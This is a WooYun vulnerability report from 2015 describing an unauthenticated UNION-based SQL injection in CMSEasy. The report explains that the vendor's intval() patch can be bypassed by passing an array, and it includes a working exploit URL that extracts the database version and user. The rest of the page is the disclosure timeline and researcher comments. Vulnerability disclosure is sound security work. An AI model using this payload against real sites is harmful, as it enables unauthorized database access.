当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-094151

漏洞标题：cmseasy 修复不当前台无需登录union注射（php缺陷绕过）

相关厂商：cmseasy

漏洞作者： menmen519

提交时间：2015-01-27 22:29

修复时间：2015-04-27 22:30

公开时间：2015-04-27 22:30

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-01-27： 细节已通知厂商并且等待厂商处理中
2015-01-28： 厂商已经确认，细节仅向厂商公开
2015-01-31： 细节向第三方安全合作伙伴开放
2015-03-24： 细节向核心白帽子及相关领域专家公开
2015-04-03： 细节向普通白帽子公开
2015-04-13： 细节向实习白帽子公开
2015-04-27： 细节向公众公开

简要描述：

cmseasy 修复不当前台无需登录union注射

详细说明：

下载最新版本的cmseasy，
文件大小：9.83 MB
更新日期：2015-01-21
推荐配置：Mysql5.0 + PHP 5.0
看看这里的修复方案：
archive.php:

} elseif (intval(front::get('aid'))) {
            $this->view->archive = archive::getInstance()->getrow(front::get('aid'));
            $this->view->categorys = category::getpositionlink2($this->view->archive['catid']);
            $this->view->paylist = pay::getInstance()->getrows('', 50);
            $this->view->logisticslist = logistics::getInstance()->getrows('', 50);


这里居然搞成intval(front::get('aid')) 这不是自欺欺人呢么
大家都知道intval("1 sdasda") == 1 成立的
还有一个特性，就是如果传递的是数组
<?php
$a = array(1234);
echo intval($a);
?>
这个的输出结果是1 正好绕过
ok
访问url:
http://localhost/cmseasynew/uploads/index.php?case=archive&act=orders&aid[typeid%60%3d1%20UNION%20SELECT/**/1,2,3,concat(version(),user()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58 from cmseasy_archive ORDER BY 1%23]=1

56.png

漏洞证明：

修复方案：

版权声明：转载请注明来源 menmen519@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2015-01-28 14:28

厂商回复：

感谢

最新状态：

暂无

漏洞评价：

评论

  1. 2015-01-27 22:38 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了，跪着也要...)

    php缺陷绕过？啥缺陷呢？M老师求指引

  2. 2015-01-27 22:40 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    @menmen519 大神最近闭关了啊 好久没看到了

  3. 2015-01-27 23:11 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @子非海绵宝宝 最近比较忙，偶尔上乌云

  4. 2015-01-27 23:12 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @泳少 intval的问题

  5. 2015-01-27 23:34 | 玉林嘎 ( 普通白帽子 | Rank:758 漏洞数:96 )

    膜拜

  6. 2015-01-27 23:42 | greg.wu ( 普通白帽子 | Rank:815 漏洞数:99 | 打酱油的~)

    牛逼，intval都能绕过

  7. 2015-01-28 00:58 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    @menmen519 intval。1xxx=1之类的么

  8. 2015-01-28 08:18 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @roker 不完全是

  9. 2015-01-28 15:39 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    1rank? .....

  10. 2015-01-28 15:43 | roker ( 普通白帽子 | Rank:357 漏洞数:108 )

    怎么才1rank。难道有限制？

  11. 2015-01-28 15:51 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @roker 无限制 不知道啊

  12. 2015-02-02 18:43 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)

    1rank？......

  13. 2015-02-02 18:49 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @君宝 恩

  14. 2015-02-03 15:10 | 君宝 ( 路人 | Rank:19 漏洞数:4 | 不要跟我比浪。。你浪不过我。。)

    @menmen519 师父 下次扒了丫裤衩

  15. 2015-02-17 16:08 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @roker roker屌爆，那么早就评论了：@menmen519 intval。1xxx=1之类的么

  16. 2015-02-17 17:06 | menmen519 ( 普通白帽子 | Rank:762 漏洞数:146 | http://menmen519.blog.sohu.com/)

    @黑暗游侠 哈哈，过年快乐哈

  17. 2015-02-18 12:35 | 黑暗游侠 ( 普通白帽子 | Rank:1780 漏洞数:268 | 123)

    @menmen519 过年快乐~~~红包拿来啦！~~

  18. 2015-04-27 23:46 | izy ( 普通白帽子 | Rank:111 漏洞数:22 | http://1zy.pw/)

    codz的intval又一个经典案例...

  19. 2015-04-28 08:56 | BeenQuiver ( 普通白帽子 | Rank:101 漏洞数:26 | 专注而高效，坚持好的习惯千万不要放弃)

    修补无效啊

  20. 2015-04-28 09:46 | 蛋清 ( 路人 | Rank:0 漏洞数:2 )

    1rank？恶心人呢